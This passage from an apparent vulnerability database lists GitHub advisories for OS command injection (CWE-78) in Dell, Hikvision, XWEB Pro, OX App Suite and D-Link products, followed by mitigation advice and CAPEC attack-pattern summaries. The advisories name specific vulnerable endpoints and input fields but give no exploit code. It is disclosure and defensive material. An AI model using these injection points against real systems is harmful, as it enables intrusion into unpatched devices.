  "published": "2024-10-28T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48825"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ixout/iotVuls/blob/main/Tenda/ac7_005/report.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5W8M-7P89-XQ72

Vulnerability from github – Published: 2022-01-27 00:01 – Updated: 2022-02-01 00:00
VLAI
Details

Dell VNX2 OE for File versions 8.1.21.266 and earlier, contain an authenticated remote code execution vulnerability. A remote malicious user with privileges may exploit this vulnerability to execute commands on the system.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-36296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Dell VNX2 OE for File versions 8.1.21.266 and earlier, contain an authenticated remote code execution vulnerability. A remote malicious user with privileges may exploit this vulnerability to execute commands on the system.",
  "id": "GHSA-5w8m-7p89-xq72",
  "modified": "2022-02-01T00:00:47Z",
  "published": "2022-01-27T00:01:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36296"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000191155/dsa-2021-164-dell-vnx2-control-station-security-update-for-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5WCJ-3GQQ-R8FV

Vulnerability from github – Published: 2025-10-22 06:31 – Updated: 2025-10-22 06:31
VLAI
Details

Hikvision CSMP (Comprehensive Security Management Platform) iSecure Center through 2024-08-01 allows execution of a command within $( ) in /center/api/installation/detection JSON data, as exploited in the wild in 2024 and 2025.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-58274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-22T04:15:55Z",
    "severity": "HIGH"
  },
  "details": "Hikvision CSMP (Comprehensive Security Management Platform) iSecure Center through 2024-08-01 allows execution of a command within $( ) in /center/api/installation/detection JSON data, as exploited in the wild in 2024 and 2025.",
  "id": "GHSA-5wcj-3gqq-r8fv",
  "modified": "2025-10-22T06:31:11Z",
  "published": "2025-10-22T06:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58274"
    },
    {
      "type": "WEB",
      "url": "https://forum.butian.net/article/498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ahisec/nuclei-tps/blob/main/http/vulnerabilities/hikvision/hikvision-csmp-installation-rce.yaml"
    },
    {
      "type": "WEB",
      "url": "https://xz.aliyun.com/news/14639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WGH-57JJ-2J34

Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-02-27 03:30
VLAI
Details

An OS command injection vulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an authenticated attacker to achieve remote code execution on the system by injecting malicious input into the Wi-Fi SSID and/or password fields can lead to remote code execution when the configuration is processed.

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-25196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-27T02:16:20Z",
    "severity": "HIGH"
  },
  "details": "An OS command injection \nvulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an \nauthenticated attacker to achieve remote code execution on the system by\n injecting malicious input into the Wi-Fi SSID and/or password fields \ncan lead to remote code execution when the configuration is processed.",
  "id": "GHSA-5wgh-57jj-2j34",
  "modified": "2026-02-27T03:30:27Z",
  "published": "2026-02-27T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25196"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-057-10.json"
    },
    {
      "type": "WEB",
      "url": "https://webapps.copeland.com/Dixell/Pages/SystemSoftwareUpdate"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WGQ-VG66-44CM

Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-26 12:00
VLAI
Details

documentconverter in OX App Suite through 7.10.6, in a non-default configuration with ghostscript, allows OS Command Injection because file conversion may occur for an EPS document that is disguised as a PDF document.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "documentconverter in OX App Suite through 7.10.6, in a non-default configuration with ghostscript, allows OS Command Injection because file conversion may occur for an EPS document that is disguised as a PDF document.",
  "id": "GHSA-5wgq-vg66-44cm",
  "modified": "2022-10-26T12:00:30Z",
  "published": "2022-10-25T19:00:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29851"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/168242/OX-App-Suite-Cross-Site-Scripting-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WGX-QVPV-2353

Vulnerability from github – Published: 2022-02-18 00:00 – Updated: 2025-10-22 00:32
VLAI
Details

A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file. Note: DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-45382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-17T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file. Note: DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life (\"EOL\") /End of Service Life (\"EOS\") Life-Cycle and as such this issue will not be patched.",
  "id": "GHSA-5wgx-qvpv-2353",
  "modified": "2025-10-22T00:32:30Z",
  "published": "2022-02-18T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45382"
    },
    {
      "type": "WEB",
      "url": "https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md"
    },
    {
      "type": "WEB",
      "url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-45382"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation
Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

← Back to the CWE list